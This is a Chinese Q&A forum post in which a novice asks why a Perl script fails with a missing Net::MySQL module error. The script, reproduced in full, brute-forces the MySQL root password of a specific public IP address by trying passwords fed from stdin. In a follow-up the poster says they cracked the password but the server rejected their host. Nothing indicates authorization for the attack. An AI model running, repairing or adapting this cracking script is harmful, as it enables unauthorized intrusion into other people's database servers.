0
回答
perl脚本运行时报错
滴滴云服务器,限时包月0.9元,为开发者而生>>>   

@红薯先生 您好,想跟你请教个问题:

使用您之前发的《MySQL 本地和远程密码破解》的脚本时候报错,我是个新手,不懂代码,但是想钻研,报错提示如下,麻烦帮分析下,感谢!

d:\>perl jo.pl
Can't locate Net/MySQL.pm in @INC (@INC contains: D:/Program Files (x86)/perl/si
te/lib D:/Program Files (x86)/perl/lib .) at jo.pl line 1.
BEGIN failed--compilation aborted at jo.pl line 1.

 

jo.pl脚本代码如下:

use Net::MySQL;

$|=1;

my $mysql = Net::MySQL->new(
 hostname => '222.187.222.76',
 database => 'test',
 user     => "user",
 password => "secret",
 debug => 0,
);

$crackuser = "root";

while(<stdin>) {
chomp;
$currentpass = $_;

$vv = join "\0",
        $crackuser,
        "\x14".
        Net::MySQL::Password->scramble(
            $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
        ) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
    print "[*] root! --> $currentpass\n";
    exit;
}
}

<无标签>
举报
ShormyChan
发帖于10个月前 0回/79阅

以下是问题补充:

  • @ShormyChan :红薯先生,我用暴力密码破解了3306的登录密码,但是拒绝登录。。。。打印如下: ERROR 1130 (00000): Host '183.39.177.60' is not allowed to connect to this MySQL server 估计没希望登录这个服务器的数据库了。。。 (10个月前)
顶部